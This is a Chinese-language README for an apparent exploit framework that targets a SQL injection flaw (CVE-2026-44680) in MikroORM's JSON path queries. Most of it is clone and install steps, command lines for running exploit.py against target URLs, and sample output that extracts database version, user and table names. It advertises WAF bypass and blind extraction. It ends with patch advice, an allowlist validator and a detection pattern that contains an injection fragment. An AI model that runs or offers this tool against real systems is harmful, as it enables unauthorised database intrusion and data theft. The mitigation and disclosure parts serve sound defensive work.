面向安全研究人员的专业概念验证工具
CVE-2026-44680 是一个影响 MikroORM(一个流行的 Node.js TypeScript ORM)的关键 SQL 注入漏洞。该利用框架为安全研究人员和渗透测试人员提供了一个专业工具,用于检测和利用该漏洞。
作者: Sudeepa Wanigarathna
版本: 1.0.0
分类: 专业安全研究工具
| 属性 | 值 |
|---|---|
| CVE ID | CVE-2026-44680 |
| CVSS 评分 | 7.6(高危) |
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 所需权限 | 低 |
@mikro-orm/knex <= 6.6.13@mikro-orm/sql <= 7.0.13MikroORM 在构建 JSON_EXTRACT 查询时未能正确转义运行时控制的 JSON 路径键。攻击者可以跳出 JSON 路径上下文并注入任意 SQL 代码。
| 功能 | 描述 | 状态 |
|---|---|---|
| 漏洞检测 | 基于时间 & 基于错误的检测 | ✅ |
| 数据库提取 | 版本、数据库、用户、主机名 | ✅ |
| 表枚举 | 自动发现所有表 | ✅ |
| 基于 UNION 的注入 | 通过 UNION SELECT 提取数据 | ✅ |
| 盲注 | 基于布尔值的字符提取 | ✅ |
| 代理支持 | Burp Suite / 拦截代理 | ✅ |
| 报告生成 | 专业的 TXT 报告 | ✅ |
| WAF 绕过 | 高级混淆技术 | ✅ |
# Python 3.8 或更高版本
python3 --version
# pip 包管理器
pip --version
git clone https://github.com/CerberusMrXi/CVE-2026-44680-MikroORM-SQL-Injection-Exploit-Framework
cd CVE-2026-44680-exploit
# 使用 requirements.txt
pip install -r requirements.txt
# 或手动安装
pip install requests colorama tqdm urllib3 simplejson
python exploit.py --help
requests>=2.31.0
colorama>=0.4.6
tqdm>=4.65.0
urllib3>=2.0.0
simplejson>=3.19.0
# 完整利用
python exploit.py -u http://localhost:3000
# 仅漏洞检测
python exploit.py -u http://target.com --detect
# 提取数据库信息
python exploit.py -u http://target.com --extract
# 枚举表
python exploit.py -u http://target.com --enumerate
| 标志 | 描述 | 默认值 |
|---|---|---|
-u, --url | 目标 URL(必需) | - |
-e, --endpoint | API 端点 | /api/users/search |
-p, --proxy | HTTP 代理 | 无 |
-v, --verbose | 详细输出 | False |
--detect | 仅检测漏洞 | False |
--extract | 提取数据库信息 | False |
--enumerate | 枚举表 | False |
--blind | 盲注模式 | False |
python exploit.py -u http://192.168.1.100:3000
python exploit.py -u http://target.com -e /api/v2/users/query
python exploit.py -u http://target.com -p http://127.0.0.1:8080
python exploit.py -u http://target.com -v --extract
python exploit.py -u http://target.com --blind
python exploit.py -u http://target.com --detect
python exploit.py -u http://target.com --extract
python exploit.py -u http://target.com --enumerate
============================================================
MikroORM CVE-2026-44680 利用框架
作者:Sudeepa Wanigarathna
============================================================
[*] 正在对 /api/users/search 执行漏洞检测
[+] 存在基于时间的 SQL 注入漏洞
[+] 漏洞确认!
[*] 正在提取数据库信息...
[*] 正在枚举表...
[+] 发现表:users
[+] 发现表:products
[+] 发现表:orders
[+] 发现表:payments
[+] 发现表:admin
===== MIKROORM CVE-2026-44680 利用报告 =====
作者:Sudeepa Wanigarathna(安全研究员)
日期:2026-07-20 14:30:45
目标:http://localhost:3000
[*] 漏洞详情
- CVE:CVE-2026-44680
- CVSS 评分:7.6(高危)
- 受影响组件:@mikro-orm/knex <= 6.6.13
[*] 数据库信息
- 版本:10.11.6-MariaDB
- 数据库:production_db
- 用户:root@localhost
- 主机名:localhost
[*] 枚举的表(发现 5 个)
1. users
2. products
3. orders
4. payments
5. admin
[+] 报告已保存到 exploit_report_1742493645.txt
[+] 表列表已保存到 tables_1742493645.txt
exploit_report_1742493645.txt # 完整的利用报告
tables_1742493645.txt # 发现的表列表
npm install @mikro-orm/knex@latest
npm install @mikro-orm/sql@latest
const ALLOWED_JSON_PATHS = ['$.email', '$.name', '$.metadata'];
function validateJsonPath(key) {
if (!ALLOWED_JSON_PATHS.includes(key)) {
throw new Error('Invalid JSON path');
}
return key;
}
# 阻止可疑的 JSON 路径模式
"filterField": "\$\.x'\) OR .* -- "
重要: 本工具仅用于授权的安全测试和教育目的。
本项目采用 MIT 许可证。
MIT License
版权所有 (c) 2026 Sudeepa Wanigarathna
特此免费授予任何获得本软件及相关文档文件(“软件”)副本的人,不受限制地处理本软件的权利,包括但不限于使用、复制、修改、合并、发布、分发、再许可和/或出售本软件副本的权利,并允许获得本软件的人这样做,但须符合以下条件:
...
为安全研究社区用心制作 ❤️
报告 Bug • 请求功能 • 在 GitHub 上星标